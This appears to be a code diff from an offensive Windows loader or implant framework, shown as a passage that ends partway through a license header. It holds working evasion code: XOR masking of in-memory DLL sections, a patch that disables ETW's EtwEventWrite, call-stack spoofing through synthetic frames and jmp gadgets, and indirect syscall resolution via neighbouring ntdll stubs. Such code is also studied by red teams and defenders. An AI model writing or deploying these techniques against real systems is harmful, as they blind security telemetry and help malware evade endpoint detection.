#define ARRAY_COUNT(x) ((int)(sizeof(x) / sizeof((x)[0])))
#define SpoofedSyscall(functionHash, args) _SpoofedSyscallImpl((functionHash), (args), ARRAY_COUNT(args))
+97
View File
@@ -0,0 +1,97 @@
#include "mask.h"
// Random key patched by Crystal Palace spec
#define XOR_KEY_LEN 128
char XOR_KEY[XOR_KEY_LEN] = {1};
static BOOL IsWriteable(DWORD protection)
{
if (protection == PAGE_EXECUTE_READWRITE ||
protection == PAGE_EXECUTE_WRITECOPY ||
protection == PAGE_READWRITE ||
protection == PAGE_WRITECOPY)
{
return TRUE;
}
return FALSE;
}
static void ApplyMask(char *data, DWORD len)
{
XORData(data, len, XOR_KEY, XOR_KEY_LEN);
}
static BOOL EncryptSection(MEMORY_SECTION *section, BOOL mask)
{
if (section == NULL || section->BaseAddress == NULL || section->Size == 0)
{
return FALSE;
}
/* if we're masking and the section needs to be made writeable */
if (mask && !IsWriteable(section->CurrentProtect))
{
DWORD old_protect = 0;
/* set the section permissions to RW */
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect))
{
/*
* store the old protection so
* it can be set back later
*/
section->CurrentProtect = PAGE_READWRITE;
section->PreviousProtect = old_protect;
}
else
{
return FALSE;
}
}
if (IsWriteable(section->CurrentProtect))
{
/* section is writeable, so XOR it */
ApplyMask(section->BaseAddress, section->Size);
}
/* if we're unmasking and the section permissions need to be set back */
if (mask == FALSE && section->CurrentProtect != section->PreviousProtect)
{
DWORD old_protect = 0;
/* set the section permissions back to PreviousProtect */
if (KERNEL32$VirtualProtect(section->BaseAddress, section->Size, section->PreviousProtect, &old_protect))
{
section->CurrentProtect = section->PreviousProtect;
section->PreviousProtect = old_protect;
}
else
{
return FALSE;
}
}
return TRUE;
}
void MaskMemory(MEMORY_LAYOUT *memory, BOOL mask)
{
INFO_MSG("\t\tMasking Memory: %s", mask ? "true" : "false");
if (memory == NULL || memory->Dll.Count > MAX_SECTIONS)
{
WARN_MSG("\t\tError masking memory");
return;
}
for (size_t i = 0; i < memory->Dll.Count; i++)
{
MEMORY_SECTION *section = &memory->Dll.Sections[i];
if (!EncryptSection(section, mask))
{
WARN_MSG("\t\tError encrypting section");
return;
}
}
}
+8
View File
@@ -0,0 +1,8 @@
#include <windows.h>
#include "include/memory.h"
#include "utils/utils.h"
#include "utils/debug.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
void MaskMemory(MEMORY_LAYOUT *memory, BOOL isMasked);
+38
View File
@@ -0,0 +1,38 @@
// Generated automatically
// Do not edit manually
#pragma once
#ifndef _NTFUNC_HASHES
#define _NTFUNC_HASHES
// Nt* Functions
#define NTDLL_HASH 0x3CFA685D
#define NTALLOCATEVIRTUALMEMORY_HASH 0xD33BCABD
#define NTPROTECTVIRTUALMEMORY_HASH 0x8C394D89
#define NTWRITEVIRTUALMEMORY_HASH 0xC5108CC2
#define NTFREEVIRTUALMEMORY_HASH 0xDB63B5AB
#define NTQUERYVIRTUALMEMORY_HASH 0x4F138492
#define NTCREATESECTION_HASH 0x5BB29BCB
#define NTMAPVIEWOFSECTION_HASH 0xD5159B94
#define NTUNMAPVIEWOFSECTION_HASH 0xF21037D0
#define NTREADVIRTUALMEMORY_HASH 0x3AEFA5AA
#define NTQUERYINFORMATIONPROCESS_HASH 0xB10FD839
#define NTSETINFORMATIONTHREAD_HASH 0xE3D6909C
#define NTRESUMETHREAD_HASH 0xC54A46C8
#define NTSUSPENDTHREAD_HASH 0x488D64DC
#define NTCREATETHREADEX_HASH 0x4D1DEB74
#define NTOPENTHREAD_HASH 0x59651E8C
#define NTTERMINATEPROCESS_HASH 0x7929BBF3
#define NTWAITFORSINGLEOBJECT_HASH 0xAE06C1B2
#define NTDELAYEXECUTION_HASH 0xD4F11852
#define NTCREATEFILE_HASH 0x03888F9D
#define NTREADFILE_HASH 0x84FCD516
#define NTWRITEFILE_HASH 0x680E1933
#define NTCLOSE_HASH 0xDCD44C5F
#define NTCREATEUSERPROCESS_HASH 0xF4F14F30
// ETW
#define ETWEVENTWRITE_HASH 0x2047C3EE
#endif
+41
View File
@@ -0,0 +1,41 @@
#include "patch.h"
BOOL patchEtw(void)
{
INFO_MSG("Patching ETW");
PVOID pNtdll = findModuleByHash(NTDLL_HASH);
if (!pNtdll)
{
ERROR_MSG("Failed to find ntdll.dll");
return FALSE;
}
PVOID pTarget = findFunctionByHash(pNtdll, ETWEVENTWRITE_HASH);
if (!pTarget)
{
ERROR_MSG("Failed to find ETW function by hash 0x%08X", ETWEVENTWRITE_HASH);
return FALSE;
}
DWORD oldProt = 0;
if (!KERNEL32$VirtualProtect(pTarget, 16, PAGE_READWRITE, &oldProt))
{
return FALSE;
}
// mov eax, 0xC0000022 (STATUS_ACCESS_DENIED); ret
PBYTE pPatch = (PBYTE)pTarget;
pPatch[0] = 0xB8u; // mov eax
*(DWORD*)(pPatch + 1) = (DWORD)STATUS_ACCESS_DENIED;
pPatch[5] = 0xC3u; // ret
if (!KERNEL32$VirtualProtect(pTarget, 16, oldProt, &oldProt))
{
return FALSE;
}
SUCCESS_MSG("ETW Patched");
return TRUE;
}
+9
View File
@@ -0,0 +1,9 @@
#pragma once
#include <windows.h>
#include "include/ntstatus.h"
#include "utils/debug.h"
#include "nt_hashes.h"
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
BOOL patchEtw();
+386
View File
@@ -0,0 +1,386 @@
#include "spoof.h"
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
#define TEXT_HASH 0xEBC2F9B4
#define RBP_OP_INFO 0x5
typedef struct {
LPCWSTR DllPath;
ULONG Offset;
ULONGLONG TotalStackSize;
BOOL RequiresLoadLibrary;
BOOL SetsFramePointer;
PVOID ReturnAddress;
BOOL PushRbp;
ULONG CountOfCodes;
BOOL PushRbpIndex;
} STACK_FRAME;
typedef enum {
UWOP_PUSH_NONVOL = 0,
UWOP_ALLOC_LARGE,
UWOP_ALLOC_SMALL,
UWOP_SET_FPREG,
UWOP_SAVE_NONVOL,
UWOP_SAVE_NONVOL_FAR,
UWOP_SAVE_XMM128 = 8,
UWOP_SAVE_XMM128_FAR,
UWOP_PUSH_MACHFRAME
} UNWIND_CODE_OPS;
typedef unsigned char UBYTE;
typedef union {
struct {
UBYTE CodeOffset;
UBYTE UnwindOp : 4;
UBYTE OpInfo : 4;
};
USHORT FrameOffset;
} UNWIND_CODE;
typedef struct {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode [ 1 ];
} UNWIND_INFO;
typedef struct {
PVOID ModuleAddress;
PVOID FunctionAddress;
DWORD Offset;
} FRAME_INFO;
typedef struct {
FRAME_INFO Frame1;
FRAME_INFO Frame2;
PVOID Gadget;
} SYNTHETIC_STACK_FRAME;
typedef struct {
FUNCTION_CALL * FunctionCall;
PVOID StackFrame;
PVOID SpoofCall;
} DRAUGR_FUNCTION_CALL;
typedef struct {
PVOID Fixup;
PVOID OriginalReturnAddress;
PVOID Rbx;
PVOID Rdi;
PVOID BaseThreadInitThunkStackSize;
PVOID BaseThreadInitThunkReturnAddress;
PVOID TrampolineStackSize;
PVOID RtlUserThreadStartStackSize;
PVOID RtlUserThreadStartReturnAddress;
PVOID Ssn;
PVOID Trampoline;
PVOID Rsi;
PVOID R12;
PVOID R13;
PVOID R14;
PVOID R15;
} DRAUGR_PARAMETERS;
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
{
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
frame->Frame1.ModuleAddress = frame1_module;
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
frame->Frame1.Offset = 0x17;
frame->Frame2.ModuleAddress = frame2_module;
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
frame->Frame2.Offset = 0x2c;
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
}
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
{
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
return FALSE;
}
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
return FALSE;
}
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
{
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
if ( h == TEXT_HASH )
{
*virtual_address = section_header[ i ].VirtualAddress;
*size = section_header[ i ].SizeOfRawData;
return TRUE;
}
}
return FALSE;
}
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
{
UNWIND_INFO * unwind_info = NULL;
ULONG unwind_operation = 0;
ULONG operation_info = 0;
ULONG index = 0;
ULONG frame_offset = 0;
STACK_FRAME stack_frame = { 0 };
if ( ! runtime_function ) {
return NULL;
}
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
while ( index < unwind_info->CountOfCodes )
{
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
/* don't use switch as it produces jump tables */
if ( unwind_operation == UWOP_PUSH_NONVOL )
{
stack_frame.TotalStackSize += 8;
if ( operation_info == RBP_OP_INFO )
{
stack_frame.PushRbp = TRUE;
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
stack_frame.PushRbpIndex = index + 1;
}
}
else if ( unwind_operation == UWOP_SAVE_NONVOL )
{
index += 1;
}
else if ( unwind_operation == UWOP_ALLOC_SMALL )
{
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
}
else if ( unwind_operation == UWOP_ALLOC_LARGE )
{
index += 1;
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
if (operation_info == 0)
{
frame_offset *= 8;
}
else
{
index += 1;
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
}
stack_frame.TotalStackSize += frame_offset;
}
else if ( unwind_operation == UWOP_SET_FPREG )
{
stack_frame.SetsFramePointer = TRUE;
}
else if ( unwind_operation == UWOP_SAVE_XMM128 )
{
return NULL;
}
index += 1;
}
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
{
index = unwind_info->CountOfCodes;
if ( 0 != ( index & 1 ) )
{
index += 1;
}
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
return calculate_function_stack_size ( runtime_function, image_base );
}
stack_frame.TotalStackSize += 8;
return ( PVOID ) ( stack_frame.TotalStackSize );
}
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
{
RUNTIME_FUNCTION * runtime_function = NULL;
DWORD64 image_base = 0;
PUNWIND_HISTORY_TABLE history_table = NULL;
if ( ! return_address ) {
return NULL;
}
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
if ( NULL == runtime_function ) {
return NULL;
}
return calculate_function_stack_size ( runtime_function, image_base );
}
PVOID find_gadget( PVOID module )
{
BOOL found_gadgets = FALSE;
DWORD text_section_size = 0;
DWORD text_section_va = 0;
DWORD counter = 0;
ULONG seed = 0;
ULONG random = 0;
PVOID module_text_section = NULL;
PVOID gadget_list [ 15 ] = { 0 };
if ( ! found_gadgets )
{
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
return NULL;
}
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
for ( long unsigned int i = 0; i < ( text_section_size - 2 ); i++ )
{
/* x64 opcodes are ff 23 */
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
{
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
counter++;
if ( counter == 15 ) {
break;
}
}
}
found_gadgets = TRUE;
}
seed = 0x1337;
random = NTDLL$RtlRandomEx ( &seed );
random %= counter;
return gadget_list [ random ];
}
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, SIZE_T stack_argc, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
{
int attempts = 0;
PVOID return_address = NULL;
DRAUGR_PARAMETERS draugr_params = { 0 };
if ( ssn ) {
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
}
SYNTHETIC_STACK_FRAME frame;
init_frame_info ( &frame );
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
draugr_params.RtlUserThreadStartReturnAddress = return_address;
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
return ( ULONG_PTR ) ( NULL );
}
do
{
draugr_params.Trampoline = find_gadget ( frame.Gadget );
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
attempts++;
if ( attempts > 15 ) {
return ( ULONG_PTR ) ( NULL );
}
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
return ( ULONG_PTR ) ( NULL );
}
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, stack_argc, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
}
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
{
SIZE_T stack_argc = 0;
if ( call == NULL ) {
return ( ULONG_PTR ) ( NULL );
}
if ( call->argc > 4 ) {
stack_argc = ( SIZE_T ) ( call->argc - 4 );
}
/* very inelegant */
if ( call->argc == 0 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 1 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 2 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 3 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 4 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 5 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 6 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 7 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
} else if ( call->argc == 8 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
} else if ( call->argc == 9 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
} else if ( call->argc == 10 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
} else if ( call->argc == 11 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
} else if ( call->argc == 12 ) {
return draugr_wrapper ( call->ptr, call->ssn, stack_argc, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
} else {
return ( ULONG_PTR ) ( NULL );
}
}
+15
View File
@@ -0,0 +1,15 @@
#pragma once
#include <windows.h>
#include "utils/debug.h"
#define SPOOF_CALL_MAX_ARGS 12
#define spoof_arg(x) ( ULONG_PTR ) ( x )
typedef struct {
PVOID ptr;
DWORD ssn;
int argc;
ULONG_PTR args[SPOOF_CALL_MAX_ARGS];
} FUNCTION_CALL;
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
+242
View File
@@ -0,0 +1,242 @@
#include "syscalls.h"
#include "nt_hashes.h"
#include "spoof.h"
#define SYS_STUB_SIZE 32
#define SYSCALL_PATTERN_SIZE 8
#define SYSCALL_INSTR_SIZE 3
static BOOL ValidateNtHeaders(PVOID module, PIMAGE_NT_HEADERS *ntHeaders)
{
if (module == NULL || ntHeaders == NULL)
{
return FALSE;
}
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)module;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE || dosHeader->e_lfanew <= 0)
{
return FALSE;
}
PIMAGE_NT_HEADERS localNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)module + dosHeader->e_lfanew);
if (localNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
return FALSE;
}
*ntHeaders = localNtHeaders;
return TRUE;
}
static BOOL GetExportDirectory(PVOID module, PIMAGE_EXPORT_DIRECTORY *exportDirectory)
{
PIMAGE_NT_HEADERS ntHeaders = NULL;
if (exportDirectory == NULL || !ValidateNtHeaders(module, &ntHeaders))
{
return FALSE;
}
IMAGE_DATA_DIRECTORY directory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (directory.VirtualAddress == 0 || directory.Size == 0)
{
return FALSE;
}
*exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)module + directory.VirtualAddress);
return TRUE;
}
static BOOL GetExportFunctionBounds(PVOID module, PIMAGE_EXPORT_DIRECTORY exportDirectory, PBYTE *lowerBound, PBYTE *upperBound)
{
if (module == NULL || exportDirectory == NULL || lowerBound == NULL || upperBound == NULL)
{
return FALSE;
}
if (exportDirectory->NumberOfFunctions == 0 || exportDirectory->AddressOfFunctions == 0)
{
return FALSE;
}
PDWORD functions = (PDWORD)((PBYTE)module + exportDirectory->AddressOfFunctions);
PBYTE lowest = NULL;
PBYTE highest = NULL;
for (DWORD i = 0; i < exportDirectory->NumberOfFunctions; i++)
{
if (functions[i] == 0)
{
continue;
}
PBYTE address = (PBYTE)module + functions[i];
if (lowest == NULL || address < lowest)
{
lowest = address;
}
if (highest == NULL || address > highest)
{
highest = address;
}
}
if (lowest == NULL || highest == NULL)
{
return FALSE;
}
*lowerBound = lowest;
*upperBound = highest + SYS_STUB_SIZE;
return TRUE;
}
static BOOL ReadSyscallNumber(PBYTE functionAddress, DWORD offset, PDWORD syscallNumber)
{
if (functionAddress == NULL || syscallNumber == NULL)
{
return FALSE;
}
if (functionAddress[offset] == 0x4c &&
functionAddress[offset + 1] == 0x8b &&
functionAddress[offset + 2] == 0xd1 &&
functionAddress[offset + 3] == 0xb8 &&
functionAddress[offset + 6] == 0x00 &&
functionAddress[offset + 7] == 0x00)
{
BYTE low = functionAddress[offset + 4];
BYTE high = functionAddress[offset + 5];
*syscallNumber = ((DWORD)high << 8) | low;
return TRUE;
}
return FALSE;
}
static BOOL FindSyscallInstruction(PBYTE functionAddress, PVOID *indirectAddress)
{
if (functionAddress == NULL || indirectAddress == NULL)
{
return FALSE;
}
for (DWORD i = 0; i + SYSCALL_INSTR_SIZE <= SYS_STUB_SIZE; i++)
{
if (functionAddress[i] == 0x0f &&
functionAddress[i + 1] == 0x05 &&
functionAddress[i + 2] == 0xc3)
{
*indirectAddress = (PVOID)(functionAddress + i);
return TRUE;
}
}
return FALSE;
}
static BOOL ResolveGateFromStub(PBYTE functionAddress, SYSCALL_GATE *gate)
{
DWORD syscallNumber = 0;
for (DWORD i = 0; i + SYSCALL_PATTERN_SIZE <= SYS_STUB_SIZE; i++)
{
if (functionAddress[i] == 0xc3)
{
return FALSE;
}
if (functionAddress[i] == 0xe9)
{
return FALSE;
}
if (ReadSyscallNumber(functionAddress, i, &syscallNumber))
{
gate->ssn = syscallNumber;
return FindSyscallInstruction(functionAddress, &gate->jmpAddr);
}
}
return FALSE;
}
static BOOL ResolveGateFromNeighbor(PBYTE functionAddress, PBYTE lowerBound, PBYTE upperBound, DWORD maxDistance, SYSCALL_GATE *gate)
{
UINT_PTR current = (UINT_PTR)functionAddress;
UINT_PTR lower = (UINT_PTR)lowerBound;
UINT_PTR upper = (UINT_PTR)upperBound;
for (DWORD distance = 1; distance <= maxDistance; distance++)
{
UINT_PTR delta = (UINT_PTR)distance * SYS_STUB_SIZE;
UINT_PTR downAddress = current + delta;
if (downAddress >= current &&
downAddress + SYSCALL_PATTERN_SIZE >= downAddress &&
downAddress >= lower &&
downAddress + SYSCALL_PATTERN_SIZE <= upper)
{
PBYTE down = (PBYTE)downAddress;
DWORD syscallNumber = 0;
if (ReadSyscallNumber(down, 0, &syscallNumber) && syscallNumber >= distance)
{
gate->ssn = syscallNumber - distance;
return FindSyscallInstruction(down, &gate->jmpAddr);
}
}
if (lower + delta >= lower && current >= lower + delta)
{
UINT_PTR upAddress = current - delta;
PBYTE up = (PBYTE)upAddress;
DWORD syscallNumber = 0;
if (ReadSyscallNumber(up, 0, &syscallNumber))
{
gate->ssn = syscallNumber + distance;
return FindSyscallInstruction(up, &gate->jmpAddr);
}
}
}
return FALSE;
}
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate)
{
PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;
PBYTE lowerBound = NULL;
PBYTE upperBound = NULL;
if (ntdll == NULL || func == NULL || gate == NULL)
{
return FALSE;
}
gate->ssn = 0;
gate->jmpAddr = NULL;
if (!GetExportDirectory(ntdll, &exportDirectory))
{
return FALSE;
}
if (!GetExportFunctionBounds(ntdll, exportDirectory, &lowerBound, &upperBound))
{
return FALSE;
}
if ((PBYTE)func < lowerBound || (PBYTE)func + SYSCALL_PATTERN_SIZE > upperBound)
{
return FALSE;
}
if (ResolveGateFromStub((PBYTE)func, gate))
{
return TRUE;
}
return ResolveGateFromNeighbor((PBYTE)func, lowerBound, upperBound, exportDirectory->NumberOfFunctions, gate);
}
+21
View File
@@ -0,0 +1,21 @@
#pragma once
#include <windows.h>
#include "utils/debug.h"
// NT API Status
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
// Structs
typedef struct
{
DWORD ssn;
PVOID jmpAddr;
} SYSCALL_GATE;
// Functions
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate);
+31
View File
@@ -0,0 +1,31 @@
#include <windows.h>
#pragma once
#ifndef _MEMORY_LAYOUT
#define _MEMORY_LAYOUT
#define MAX_SECTIONS 16
typedef struct
{
PVOID BaseAddress;
SIZE_T Size;
DWORD CurrentProtect;
DWORD PreviousProtect;
} MEMORY_SECTION;
typedef struct
{
PVOID BaseAddress;
SIZE_T Size;
MEMORY_SECTION Sections[MAX_SECTIONS];
SIZE_T Count;
} DLL_MEMORY;
typedef struct
{
DLL_MEMORY Dll;
} MEMORY_LAYOUT;
#endif
+31
View File
@@ -0,0 +1,31 @@
#pragma once
#include <windows.h>
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#ifndef STATUS_ABANDONED
#define STATUS_ABANDONED ((NTSTATUS)0x00000080L)
#endif
#ifndef STATUS_TIMEOUT
#define STATUS_TIMEOUT ((NTSTATUS)0x00000102L)
#endif
#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#endif
#ifndef STATUS_INVALID_PARAMETER
#define STATUS_INVALID_PARAMETER ((NTSTATUS)0xC000000DL)
#endif
#ifndef STATUS_ACCESS_DENIED
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#endif
#ifndef STATUS_PROCEDURE_NOT_FOUND
#define STATUS_PROCEDURE_NOT_FOUND ((NTSTATUS)0xC000007AL)
#endif
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
